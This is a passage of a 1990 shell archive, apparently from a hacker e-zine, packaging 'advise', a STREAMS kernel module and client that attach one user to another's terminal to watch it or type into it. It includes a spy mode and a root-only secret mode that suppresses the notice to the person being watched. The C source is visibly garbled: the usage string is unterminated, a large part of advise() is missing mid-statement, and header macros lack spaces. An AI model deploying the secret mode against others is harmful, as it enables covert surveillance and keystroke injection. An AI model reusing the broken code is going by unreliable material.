WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND
PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE PROVE DEFECTIVE, YOU
ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M.
STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY
WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO
YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER
SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A
FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN
IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR
ANY CLAIM BY ANY OTHER PARTY.
SHAR_EOF
fi # end of overwriting check
if test -f 'Makefile'
then
echo shar: will not over-write existing file "'Makefile'"
else
cat << \SHAR_EOF > 'Makefile'
# Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
#
# This file is part of advise.
#
# advise is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY. No author or distributor
# accepts responsibility to anyone for the consequences of using it
# or for whether it serves any particular purpose or works at all,
# unless he says so in writing. Refer to the advise General Public
# License for full details.
#
# Everyone is granted permission to copy, modify and redistribute
# advise, but only under the conditions described in the
# advise General Public License. A copy of this license is
# supposed to have been given to you along with advise so you
# can know your rights and responsibilities. It should be in a
# file named COPYING. Among other things, the copyright notice
# and this notice must be preserved on all copies. */
#
# Author:Keith Gabryelski(ag@amix.commodore.com)
#
CC=gcc
CFLAGS=-O
all: advise
advise.o: advisemod.h
SHAR_EOF
fi # end of overwriting check
if test -f 'advise.c'
then
echo shar: will not over-write existing file "'advise.c'"
else
cat << \SHAR_EOF > 'advise.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
This file is part of advise.
advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.
Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */
/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <poll.h>
#include <sys/stream.h>
#include <errno.h>
#include <utmp.h>
#include <pwd.h>
#include <termios.h>
#include <string.h>
#include <ctype.h>
#include "advisemod.h"
extern char *optarg;
#define max(a,b) ((a)>(b)?(a):(b))
static struct module_list
{
char *name;/* name of module */
struct module_list *next;/* next module to be pushed */
} advise_module_list =
{
"advise", NULL,
};
static void usage(void), advise(char *);
static char *strchar(char);
static struct module_list *list_modules(int, char *);
static int allow_deny_p, allow_deny;
static int allow_advise_p, allow_advise;
static int error_flag;
static int secret, spy;
static int meta_character = '~';
static char *progname;
static char *module = "ldterm";
int
main(int argc, char **argv)
{
int c, error = 0;
struct termios termios;
struct module_list *modules;
progname = *argv;
while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF)
{
switch(c)
{
case 's':
spy++;
break;
case 'S':
if (!getuid())
secret++;
break;
case 'a':
allow_deny_p++;
allow_deny=ADVISE_ALLOW;
allow_advise_p++;
allow_advise++;
break;
case 'd':
allow_advise_p++;
allow_advise=0;
break;
case 'A':
allow_deny_p++;
allow_deny=ADVISE_ALLOW;
break;
case 'D':
allow_deny_p++;
allow_deny=ADVISE_DENY;
break;
case 'm':
meta_character = optarg[0];
break;
case 'M':
module = optarg;
break;
case '?':
error_flag++;
break;
}
if (error_flag)
{
usage();
}
}
if (allow_advise_p)
{
int status = ioctl(0, ADVISE_STATUS, &status);
if (allow_advise && status)
{
int advise_module_pushed = 0;
/* Push advise module on stream */
(void) ioctl(0, TCGETS, &termios);
modules = list_modules(0, module);
advise_module_list.next = modules;
for (modules = &advise_module_list;
modules != NULL;
modules = modules->next)
{
if (!strcmp(modules->name, "advise"))
{
if (advise_module_pushed)
continue;
advise_module_pushed = 1;
}
if (ioctl(0, I_PUSH, modules->name))
{
(void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n",
progname, modules->name, strerror(errno));
error++;
}
}
(void) ioctl(0, TCSETS, &termios);
}
if (!allow_advise && !status)
{
(void) ioctl(0, TCGETS, &termios);
modules = list_modules(0, "advise");
while (modules != NULL)
{
if (strcmp(modules->name, "advise"))
{
if (ioctl(0, I_PUSH, modules->name))
{
(void) fprintf(stderr,
"%s: Couldn't I_PUSH: %s (%s).\n",
progname, modules->name,
strerror(errno));
error++;
}
}
modules = modules->next;
}
(void) ioctl(0, TCSETS, &termios);
}
if (!allow_deny_p)
return error ? 1 : 0;
}
if (allow_deny_p)
{
if (ioctl(0, allow_deny, 0))
{
if (errno == EINVAL)
{
(void) fprintf(stderr, "%s: module \"advise\" not in stream.\n",
progname);
}
else
{
(void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n",
progname, strerror(errno));
}
return 1;
}
return 0;
}
/* All switches have been handled */
argc -= optind;
argv += optind;
if (argc > 1)
{
usage();
}
if (argc == 0)
{
int status;
/*
** Status of advise.
*/
if (ioctl(0, ADVISE_STATUS, &status))
{
printf("Module \"advise\" not pushed on stream.\n");
}
else
{
printf("Advise access %s\n", status ? "allowed" : "denied");
}
return 0;
}
advise(*argv);
return 0;
}
void
usage()
{
(void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n progname);
exit(1);
}
static void
advise(char *who)
{
int ret, fd, metad=0;
char buf[1024], *device, *devname, *login_name, *tty_name;
struct pollfd pfds[2];
struct termios termios, oldtermios;
struct stat stbuf;
struct utmp *ut, uts;
char username[sizeof(ut->ut_name) + 1];
username[0] = '\0';
if (*who == '/') /* full path name */
device = who;
else
{
/* Either this is /dev/ + who OR a username */
setutent();
while ((ut = getutent()) != NULL)
{
if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name)))
{
device = (char *)malloc(sizeof("/dev/") +
sizeof(ut->ut_name));
if (device == NULL)
{
(void) fprintf(stderr,
"%s: malloc failed (Out of Memory)\n",
progname);
exit(1);
}
strcpy(device, "/dev/");
strncat(device, ut->ut_name, sizeof(ut->ut_name));
device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0';
strncpy(username, ut->ut_name, sizeof(ut->ut_name));
username[sizeof(ut->ut_name)] = '\0';
break;
}
}
if (ut == NULL) /* Is /dev/ + who */
{
device = (char *)malloc(sizeof("/dev/") + strlen(who));
if (device == NULL)
{
(void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n",
progname);
exit(1);
}
strcpy(device, "/dev/");
strcat(device, who);
}
endutent();
}
devname = device + sizeof("/dev/") - 1;
if (username[0] == '\0')
{
setutent();
strncpy(uts.ut_line, devname, sizeof(uts.ut_line));
if ((ut = getutline(&uts)) != NULL)
{
strncpy(username, ut->ut_name, sizeof(ut->ut_name));
username[sizeof(ut->ut_name)] = '\0';
}
else
{
strcpy(username, "unknown");
}
endutent();
}
if (stat(device, &stbuf) < 0)
{
if (errno == ENOENT)
{
(void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname) data.len = strlen(str);
data.buf = str;
(void) putmsg(fd, &ctl, &data, 0);
free(str);
}
}
if (!spy)
{
(void) ioctl(0, TCGETS, &termios);
oldtermios = termios;
termios.c_cc[VMIN] = 1;
termios.c_cc[VTIME] = 0;
termios.c_lflag &= ~(ISIG|ICANON|ECHO);
(void) ioctl(0, TCSETS, &termios);
}
pfds[0].fd = fd;
pfds[0].events = POLLIN;
pfds[1].fd = 0;
pfds[1].events = POLLIN;
for (;;)
{
if (poll(pfds, 2, INFTIM) < 0)
continue;
if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */
{
if ((ret = read(fd, buf, sizeof(buf))) > 0)
write(1, buf, ret);
}
if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */
{
if ((ret = read(0, buf, sizeof(buf))) > 0)
{
if (!spy)
{
register int i;
register char *p = buf, *pp=buf;
for (i=0; i < ret; ++i, p++)
{
if (metad)
{
if (metad == 2)
{
meta_character = *p;
printf("The meta character is now: %s\n",
strchar(meta_character));
pp++;
metad = 0;
continue;
}
switch (*p)
{
case '=':
metad=2;
pp++;
break;
case '?':
{
char *escstr = strchar(meta_character);
printf("Help for meta character <%s>:\n",
escstr);
printf("%s?\t-- This help message.\n", escstr);
printf("%s~\t-- Send a single meta character.\n",
escstr);
printf("%s.\t-- Disconnect advise session.\n",
escstr);
printf("%s=C\t-- Change meta character to C.\n",
escstr);
printf("%s^Z\t-- Suspend advise session.\n",
escstr);
pp++;
metad=0;
break;
}
case '.':
{
if (!secret)
{
char *str;
str = malloc(strlen(login_name) +
strlen(tty_name) +
sizeof("[/ disconnecting from :]\n") +
strlen(username) + strlen(devname));
if (str)
{
struct advise_message m;
struct strbuf ctl, data;
m.type = ADVISE_READDATA;
ctl.len = sizeof(m);
ctl.buf = (void *)&m;
sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r",
login_name, tty_name, username,
devname);
data.len = strlen(str);
data.buf = str;
(void) putmsg(fd, &ctl, &data, 0);
free(str);
}
}
close(fd);
(void) ioctl(0, TCSETS, &oldtermios);
exit(0);
}
case CTRL('Z'):
{
(void) ioctl(0, TCSETS, &oldtermios);
(void) signal(SIGTSTP, SIG_DFL);
(void) kill(0, SIGTSTP);
(void) ioctl(0, TCSETS, &termios);
metad=0;
break;
}
default:
metad=0;
break;
}
}
else
{
if (*p == meta_character)
{
int d = p - pp;
metad=1;
if (d)
write(fd, pp, d);
pp += d + 1;
i += d;
}
}
}
if (p - pp)
{
struct advise_message m;
struct strbuf ctl, data;
m.type = ADVISE_DATA;
ctl.len = sizeof(m);
ctl.buf = (void *)&m;
data.len = p - pp;
data.buf = p;
(void) putmsg(fd, &ctl, &data, 0);
}
}
}
}
}
}
static struct module_list *
list_modules(int fd, char *push_below)
{
char lookbuf[max(FMNAMESZ+1,256)];
struct module_list *mp, *mpp;
mp = NULL;
while (ioctl(fd, I_LOOK, lookbuf) == 0)
{
if (ioctl(fd, I_POP, 0))
{
(void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname,
lookbuf, strerror(errno));
return mp;
}
if ((mpp = malloc(sizeof(struct module_list))) == NULL ||
(mpp->name = malloc(strlen(lookbuf) + 1)) == NULL)
{
(void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n",
progname);
return mp;
}
mpp->next = mp;
mp = mpp;
strcpy(mp->name, lookbuf);
if (!strcmp(push_below, lookbuf))
break;
}
return mp;
}
static char *
strchar(char character)
{
static char retbuf[4];
char *p = retbuf;
int capit = 0;
if (!isascii(character))
{
*p++ = '~';
capit = 1;
character = toascii(character);
}
if (iscntrl(character))
{
*p++ = '^';
capit = 1;
character += '@';
}
if (capit)
*p++ = toupper(character);
else
*p++ = character;
*p = '\0';
return retbuf;
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advise.man'
then
echo shar: will not over-write existing file "'advise.man'"
else
cat << \SHAR_EOF > 'advise.man'
.TH advise 1
.SH NAME
advise \- Attach to another user.
.SH SYNOPSIS
.B advise
[-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]
.SH DESCRIPTION
.B Advise
attaches a user (the advisor) to another user's (the advisee) terminal in
such a way the the advisor can type for the advisee and view what
the advisee's terminal is displaying.
.PP
The advisee would typically type ``advise -a'' to allow advise attaches;
the advisor would then type ``advise username'' which would connect the
advisors terminal the the advisee's.
.PP
All characters the advisor types are sent to the advisee's terminal
as if the advisee typed them save the meta character.
.PP
The default meta character is tilde (~). The advisor uses the meta
character to disconnect or suspend the advise session. The meta
commands that are available to the advisor are:
.PP
.RS
.TP
~?
Meta character help message.
.TP
~~
Send the meta character to the advisee's terminal.
.TP
~.
Disconnect advise session.
.TP
~=C
Change the meta character to C.
.TP
~^Z
Suspend this advise session.
.RE
.PP
In Advise mode the advisor uses ``~.'' to disconnect the advise session
(Note: the advisor should use ``~~'' to send one tilde to the advisee's
terminal).
.PP
In ``spy mode'' the advisor should use an interrupt is use to disconnect
the advise session.
.PP
``advise -d'' can be used by the advisee to disconnect the advise
session.
.SH OPTIONS
.TP
-A
Allow advise attaches to this terminal.
.TP
-D
Disallow advise attaches to this terminal.
.TP
-M module
Name of module to place advise module under.
.TP
-S
When attaching to another user, don't send the attach message.
(available to the super user, only).
.TP
-a
Push advise module on standard input stream and allow advise
attaches.
.TP
-d
Push advise module on standard input stream and disallow advise
attaches.
.TP
-m char
Change the meta character to ``char''. The default meta character
is tilde (~).
.TP
-s
Spy mode only (ie, input from the advisor is not passed to the
advisee).
.TP
device
The name of the tty device to advise.
.TP
username
The name of the user to advise.
.SH AUTHOR
.RS
.PP
Keith M. Gabryelski (ag@amix.commodore.com)
.RE
SHAR_EOF
fi # end of overwriting check
if test -f 'advisedev.c'
then
echo shar: will not over-write existing file "'advisedev.c'"
else
cat << \SHAR_EOF > 'advisedev.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
This file is part of advise.
advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.
Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */
/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/sysmacros.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>
int adviseopen(), adviseclose(), adviserput(), advisewput();
void advisesrvioc();
static struct module_info advisemiinfo =
{
0, "advise", 0, INFPSZ, 2048, 128,
};
static struct qinit adviserinit =
{
adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo,
};
static struct module_info advisemoinfo =
{
42, "advise", 0, INFPSZ, 300, 200,
};
static struct qinit advisewinit =
{
advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo,
};
struct streamtab adviseinfo =
{
&adviserinit, &advisewinit, NULL, NULL,
};
extern struct advise_state advise_table;
/*ARGSUSED*/
static int
adviseopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
{
register mblk_t *bp;
struct advise_queue_list *ql;
struct advise_state *sp;
int i;
if (sflag == MODOPEN)
return EINVAL;
for (i=1; i < L_MAXMIN; ++i)
{
sp = &advise_table;
while (sp->next != NULL)
{
ql = sp->next->q_list;
while (ql != NULL)
{
if (ql->minord == i)
break;
ql = ql->next;
}
if (ql != NULL)
break;
sp = sp->next;
}
if (sp->next == NULL)
break;
}
if (i == L_MAXMIN)
{
return ENOMEM;/* no more resources */
}
*devp = makedevice(getmajor(*devp), i);
if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL)
{
return ENOMEM;
}
bp->b_wptr += sizeof(struct advise_queue_list);
ql = (struct advise_queue_list *)bp->b_rptr;
ql->savbp = bp;
ql->next = NULL;
ql->q = q;
ql->state = NULL;
ql->minord = i;
q->q_ptr = (caddr_t)ql;
WR(q)->q_ptr = (caddr_t)ql;
return 0;
}
static
adviseclose(q)
register queue_t *q;
{
struct advise_state *llist = &advise_table;
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
struct advise_queue_list *ql, *qlp;
/* Remove us from the advisor's list */
if (qp->state != NULL)
{
while (llist != NULL && llist->next != qp->state)
llist = llist->next;
if (llist != NULL)
{
ql = llist->next->q_list;
if (ql->q == q)
{
llist->next->q_list = ql->next;
}
else
{
while (ql->next != NULL && ql->next->q != q)
ql = ql->next;
if (ql->next != NULL)
{
ql->next = ql->next->next;
}
}
}
}
qp->state = NULL;
freeb(qp->savbp);
q->q_ptr = NULL;
}
static int
adviserput(q, bp)
struct queue *q;
mblk_t *bp;
{
putnext(q, bp);
}
static int
advisewput(q, bp)
struct queue *q;
mblk_t *bp;
{
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
struct advise_state *sp = qp->state;
switch (bp->b_datap->db_type)
{
case M_PROTO:
{
struct advise_message *ms = (struct advise_message *)bp->b_rptr;
mblk_t *bp2 = unlinkb(bp);
if (bp2)
{
if (sp != NULL && sp->q != NULL)
{
if (ms->type == ADVISE_READDATA)
{
putnext(WR(sp->q), bp2);
}
else
{
putnext(sp->q, bp2);
}
}
else
freemsg(bp2);
}
freemsg(bp);
break;
}
case M_DATA:
/*
** Write data to advisee.
*/
if (sp != NULL && sp->q != NULL)
putnext(sp->q, bp);
else
freemsg(bp);
break;
case M_IOCTL:
case M_IOCDATA:
advisesrvioc(q, bp);
break;
default:
freemsg(bp);
break;
}
}
static void
advisesrvioc(q, mp)
queue_t *q;
mblk_t *mp;
{
mblk_t *mp1;
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr;
int s;
if (mp->b_datap->db_type == M_IOCDATA)
{
/* For copyin/copyout failures, just free message. */
if (((struct copyresp *)mp->b_rptr)->cp_rval)
{
freemsg(mp);
return;
}
if (!((struct copyresp *)mp->b_rptr)->cp_private)
{
mp->b_datap->db_type = M_IOCACK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = 0;
putnext(RD(q), mp);
return;
}
}
switch (iocbp->ioc_cmd)
{
case ADVISE_SETADVISEE:
{
register dev_t p;
struct advise_queue_list *qlp;
struct advise_state *llist;
if (qp->state != NULL) /* already advising someone */
{
iocbp->ioc_error = EBUSY;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}
if (!mp->b_cont)
{
iocbp->ioc_error = EINVAL;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}
p = *(dev_t *)mp->b_cont->b_rptr;
s = spladvise();
llist = advise_table.next;
while (llist != NULL && llist->dev != p)
{
llist = llist->next;
}
if (llist == NULL)
{
splx(s);
iocbp->ioc_error = EUNATCH;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}
if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred)))
{
splx(s);
iocbp->ioc_error = EACCES;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}
/*
** Add ourself to the list of advisors for this advisee.
*/
if (llist->q_list == NULL)
{
qlp = llist->q_list = qp;
}
else
{
qlp = llist->q_list;
while (qlp->next != NULL)
qlp = qlp->next;
qlp->next = qp;
qlp = qp;
}
qlp->state = llist;
splx(s);
mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}
default:
/* Unrecognized ioctl command */
if (canput(RD(q)->q_next))
{
mp->b_datap->db_type = M_IOCNAK;
putnext(RD(q), mp);
}
else
putbq(q, mp);
break;
}
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advisemod.c'
then
echo shar: will not over-write existing file "'advisemod.c'"
else
cat << \SHAR_EOF > 'advisemod.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
This file is part of advise.
advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.
Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */
/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>
int advisemopen(), advisemclose(), advisemrput(), advisemwput();
static struct module_info advisemiinfo =
{
0, "advisemod", 0, INFPSZ, 2048, 128,
};
static struct qinit adviserinit =
{
advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo,
};
static struct module_info advisemoinfo =
{
42, "advisemod", 0, INFPSZ, 300, 200,
};
static struct qinit advisewinit =
{
advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo,
};
struct streamtab advisemodinfo =
{
&adviserinit, &advisewinit, NULL, NULL,
};
struct advise_state advise_table;
/*ARGSUSED*/
static int
advisemopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
{
register struct advise_state *sp;
register mblk_t *bp;
struct advise_state *llist = &advise_table;
if (sflag != MODOPEN)
return EINVAL;
if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL)
{
return ENOMEM;
}
bp->b_wptr += sizeof(struct advise_state);
sp = (struct advise_state *)bp->b_rptr;
sp->savbp = bp;
sp->dev = *devp;
sp->status = 0;/* Deny access by default */
sp->next = NULL;
sp->q_list = NULL;
sp->q = q;
while (llist->next != NULL)
{
if (llist->next->dev == *devp)
{
/*
** We are already pushed on this stream.
*/
freeb(bp);
sp = llist->next;
break;
}
llist = llist->next;
}
llist->next = sp;
q->q_ptr = (caddr_t)sp;
WR(q)->q_ptr = (caddr_t)sp;
return 0;
}
static
advisemclose(q)
register queue_t *q;
{
register struct advise_state *sp = (struct advise_state *)q->q_ptr;
struct advise_state *llist = &advise_table;
struct advise_queue_list *qp = sp->q_list;
sp->status = 0;
/* unlink us from the state table */
while (llist->next != sp)
llist = llist->next;
llist->next = llist->next->next;
while (sp->next != NULL)
{
/* tell each advisor that we're shutting down */
flushq(sp->q, FLUSHDATA);
putctl(sp->q->q_next, M_HANGUP);
sp = sp->next;
}
freeb(sp->savbp);
q->q_ptr = NULL;
}
static
advisemrput(q, mp)
register queue_t *q;
register mblk_t *mp;
{
putnext(q, mp);
}
static
advisemwput(q, mp)
register queue_t *q;
register mblk_t *mp;
{
struct advise_state *sp = (struct advise_state *)q->q_ptr;
register struct advise_queue_list *qp;
int s;
switch (mp->b_datap->db_type)
{
case M_DATA:
/*
** Write data to advisors.
*/
s = spladvise();
for (qp = sp->q_list; qp != NULL; qp = qp->next)
{
mblk_t *mp1 = copymsg(mp);
if (mp1 != NULL)
putnext(qp->q, mp1);
}
splx(s);
break;
case M_IOCTL:
case M_IOCDATA:
if (advisemsrvioc(q, mp)) /* handled? */
return;
break;
}
putnext(q, mp);
}
static int
advisemsrvioc(q, mp)
queue_t *q;
mblk_t *mp;
{
mblk_t *mp1;
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
struct advise_state *sp = (struct advise_state *)q->q_ptr;
if (mp->b_datap->db_type == M_IOCDATA)
{
struct copyresp *csp = (struct copyresp *)mp->b_rptr;
switch(csp->cp_cmd)
{
case ADVISE_STATUS:
case ADVISE_ALLOW:
case ADVISE_DENY:
/* For copyin/copyout failures, just free message. */
if (csp->cp_rval)
freemsg(mp);
else if (!csp->cp_private)
{
mp->b_datap->db_type = M_IOCACK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = 0;
putnext(RD(q), mp);
}
return 1;
}
}
switch (iocbp->ioc_cmd)
{
case ADVISE_STATUS:
{
int *status;
caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr;
freemsg(mp->b_cont);
mp->b_cont = allocb(sizeof(int), BPRI_MED);
if (!mp->b_cont)
{
mp->b_datap->db_type = M_IOCNAK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = ENOMEM;
putnext(RD(q), mp);
return 1;
}
status = (int *)mp->b_cont->b_rptr;
mp->b_cont->b_wptr += sizeof(int);
*status = sp->status;
if (mp->b_datap->db_type == M_IOCTL &&
iocbp->ioc_count == TRANSPARENT)
{
struct copyreq *creq = (struct copyreq *)mp->b_rptr;
mp->b_datap->db_type = M_COPYOUT;
creq->cq_addr = arg;
mp->b_wptr = mp->b_rptr + sizeof *creq;
mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int);
creq->cq_size = sizeof(int);
creq->cq_flag = 0;
creq->cq_private = (mblk_t *)NULL;
putnext(RD(q), mp);
return 1;
}
}
break;
case ADVISE_ALLOW:
sp->status |= ALLOW_ADVICE;
mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
case ADVISE_DENY:
sp->status &= ~(ALLOW_ADVICE);
mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
default:
return 0;
}
return 1;
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advisemod.h'
then
echo shar: will not over-write existing file "'advisemod.h'"
else
cat << \SHAR_EOF > 'advisemod.h'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
This file is part of advise.
advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.
Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */
/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/
struct advise_queue_list
{
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
queue_t*q;/* advisor's queue */
intminord; /* minor device for this advisor */
struct advise_state*state; /* ptr back to advise_state struct */
struct advise_queue_list*next; /* ptr to next advisor */
};
struct advise_state
{
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
intstatus;/* current status */
dev_tdev;/* our device */
queue_t*q;/* queue for advisor writing */
struct advise_queue_list*q_list;/* list of spies */
struct advise_state*next; /* next in advise_table */
};
#define ALLOW_ADVICE(0x01)
struct advise_message
{
inttype; /* What type of data is this? */
};
#define ADVISE_DATA(0x00)
#define ADVISE_READDATA(0x01)
#define ADVISE('z'<<16)
#define ADVISE_SETADVISEE(ADVISE|0x01)
#defineADVISE_ALLOW(ADVISE|0x02)
#defineADVISE_DENY(ADVISE|0x03)
#define ADVISE_STATUS(ADVISE|0x04)
#define spladvisespltty
SHAR_EOF
fi # end of overwriting check
#End of shell archive
exit 0
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
It is useless to resist us.
Comments